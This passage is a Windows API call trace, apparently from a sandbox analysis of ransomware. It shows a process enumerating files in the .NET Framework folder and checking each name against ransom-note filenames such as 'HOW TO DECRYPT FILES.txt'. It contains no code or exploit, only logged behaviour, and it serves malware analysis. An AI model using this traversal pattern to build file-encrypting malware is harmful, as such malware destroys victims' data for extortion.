ftLastWriteTime.dwLowDateTime=0xccbe2500, ftLastWriteTime.dwHighDateTime=0x1ca29a0, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x55004d, dwReserved1=0x49, cFileName="netmemorycache.h", cAlternateFileName="NETMEM~1.H")) returned 1 [0137.708] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.708] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="netmemorycache.h") returned -1 [0137.708] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="netmemorycache.h") returned -1 [0137.708] lstrcmpiA (lpString1="", lpString2="netmemorycache.h") returned -1 [0137.708] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.708] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbe2500, ftCreationTime.dwHighDateTime=0x1ca29a0, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xccbe2500, ftLastWriteTime.dwHighDateTime=0x1ca29a0, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="netmemorycache.ini", cAlternateFileName="NETMEM~1.INI")) returned 1 [0137.708] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="netmemorycache.ini") returned -1 [0137.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="netmemorycache.ini") returned -1 [0137.709] lstrcmpiA (lpString1="", lpString2="netmemorycache.ini") returned -1 [0137.709] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\netmemorycache.h") returned="netmemorycache.h" [0137.709] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d7a9de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22290, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.exe", cAlternateFileName="")) returned 1 [0137.709] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen.exe") returned -1 [0137.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen.exe") returned -1 [0137.709] lstrcmpiA (lpString1="", lpString2="ngen.exe") returned -1 [0137.709] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\netmemorycache.ini") returned="netmemorycache.ini" [0137.709] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8971c5, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe16ea2a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x881cf1e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x2037f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0137.709] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen.log") returned -1 [0137.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen.log") returned -1 [0137.710] lstrcmpiA (lpString1="", lpString2="ngen.log") returned -1 [0137.710] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe") returned="ngen.exe" [0137.710] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8971c5, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7d8971c5, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xb44dc760, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18d4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.old.log", cAlternateFileName="NGENOL~1.LOG")) returned 1 [0137.710] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.710] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen.old.log") returned -1 [0137.710] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen.old.log") returned -1 [0137.710] lstrcmpiA (lpString1="", lpString2="ngen.old.log") returned -1 [0137.710] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.log") returned="ngen.log" [0137.711] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e28e0c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe1997b60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x77341c60, ftLastWriteTime.dwHighDateTime=0x1d305f3, nFileSizeHigh=0x0, nFileSizeLow=0x988fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen_service.log", cAlternateFileName="NGEN_S~2.LOG")) returned 1 [0137.711] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.711] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen_service.log") returned -1 [0137.711] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen_service.log") returned -1 [0137.711] lstrcmpiA (lpString1="", lpString2="ngen_service.log") returned -1 [0137.711] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.old.log") returned="ngen.old.log" [0137.711] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e28e0c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7e28e0c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc4058580, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen_service.old.log", cAlternateFileName="NGEN_S~1.LOG")) returned 1 [0137.721] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ngen_service.old.log") returned -1 [0137.722] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ngen_service.old.log") returned -1 [0137.722] lstrcmpiA (lpString1="", lpString2="ngen_service.old.log") returned -1 [0137.722] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.log") returned="ngen_service.log" [0137.722] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d998fc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x126a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nlssorting.dll", cAlternateFileName="NLSSOR~1.DLL")) returned 1 [0137.722] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="nlssorting.dll") returned -1 [0137.722] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="nlssorting.dll") returned -1 [0137.722] lstrcmpiA (lpString1="", lpString2="nlssorting.dll") returned -1 [0137.723] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.old.log") returned="ngen_service.old.log" [0137.723] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5da7d800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x78b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="normalization.dll", cAlternateFileName="NORMAL~1.DLL")) returned 1 [0137.723] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.723] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normalization.dll") returned -1 [0137.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normalization.dll") returned -1 [0137.723] lstrcmpiA (lpString1="", lpString2="normalization.dll") returned -1 [0137.723] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll") returned="nlssorting.dll" [0137.723] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3be040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="normidna.nlp", cAlternateFileName="")) returned 1 [0137.724] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normidna.nlp") returned -1 [0137.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normidna.nlp") returned -1 [0137.724] lstrcmpiA (lpString1="", lpString2="normidna.nlp") returned -1 [0137.724] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normalization.dll") returned="normalization.dll" [0137.724] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3be040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xb7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfc.nlp", cAlternateFileName="")) returned 1 [0137.724] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normnfc.nlp") returned -1 [0137.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normnfc.nlp") returned -1 [0137.724] lstrcmpiA (lpString1="", lpString2="normnfc.nlp") returned -1 [0137.724] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normidna.nlp") returned="normidna.nlp" [0137.725] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x9e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfd.nlp", cAlternateFileName="")) returned 1 [0137.725] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.725] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normnfd.nlp") returned -1 [0137.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normnfd.nlp") returned -1 [0137.725] lstrcmpiA (lpString1="", lpString2="normnfd.nlp") returned -1 [0137.725] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfc.nlp") returned="normnfc.nlp" [0137.725] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x108e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkc.nlp", cAlternateFileName="")) returned 1 [0137.725] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.725] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="normnfkc.nlp") returned -1 [0137.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="normnfkc.nlp") returned -1 [0137.725] lstrcmpiA (lpString1="", lpString2="normnfkc.nlp") returned -1 [0137.725] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfd.nlp") returned="normnfd.nlp" [0137.726] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xf116, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkd.nlp", cAlternateFileName="")) returned 1 [0137.726] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.726] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfkc.nlp") returned="normnfkc.nlp" [0137.726] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5db62040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x334b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfCounter.dll", cAlternateFileName="PERFCO~1.DLL")) returned 1 [0137.726] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.726] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfkd.nlp") returned="normnfkd.nlp" [0137.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6cf700, ftCreationTime.dwHighDateTime=0x1cac5e9, ftLastAccessTime.dwLowDateTime=0x9efdf7e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc6cf700, ftLastWriteTime.dwHighDateTime=0x1cac5e9, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfCounters.h", cAlternateFileName="PERFCO~1.H")) returned 1 [0137.727] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.727] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounter.dll") returned="PerfCounter.dll" [0137.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x194a6f00, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x5db881a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x194a6f00, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfCounters.ini", cAlternateFileName="PERFCO~1.INI")) returned 1 [0137.727] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.727] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounters.h") returned="PerfCounters.h" [0137.728] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5dbd4460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="peverify.dll", cAlternateFileName="")) returned 1 [0137.728] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.728] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounters.ini") returned="PerfCounters.ini" [0137.728] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f591240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xfa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegAsm.exe", cAlternateFileName="")) returned 1 [0137.728] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.729] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\peverify.dll") returned="peverify.dll" [0137.729] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8b4a2880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="regasm.exe.config", cAlternateFileName="REGASM~1.CON")) returned 1 [0137.729] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.729] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe") returned="RegAsm.exe" [0137.729] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f5b73a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegSvcs.exe", cAlternateFileName="")) returned 1 [0137.729] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.730] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe.config") returned="regasm.exe.config" [0137.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8b4a2880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="regsvcs.exe.config", cAlternateFileName="REGSVC~1.CON")) returned 1 [0137.730] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.730] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe") returned="RegSvcs.exe" [0137.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f5dd500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x176a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regtlibv12.exe", cAlternateFileName="REGTLI~1.EXE")) returned 1 [0137.731] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.731] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe.config") returned="regsvcs.exe.config" [0137.731] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9344c100, ftCreationTime.dwHighDateTime=0x1cd5d17, ftLastAccessTime.dwLowDateTime=0xd121d840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9344c100, ftLastWriteTime.dwHighDateTime=0x1cd5d17, nFileSizeHigh=0x0, nFileSizeLow=0x5bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SbsNclPerf.dll", cAlternateFileName="SBSNCL~1.DLL")) returned 1 [0137.731] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.731] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regtlibv12.exe") returned="regtlibv12.exe" [0137.731] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f64f920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x46c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelEvents.dll", cAlternateFileName="SERVIC~1.DLL")) returned 1 [0137.732] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.732] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SbsNclPerf.dll") returned="SbsNclPerf.dll" [0137.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f69bbe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x46d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelInstallRC.dll", cAlternateFileName="SERVIC~2.DLL")) returned 1 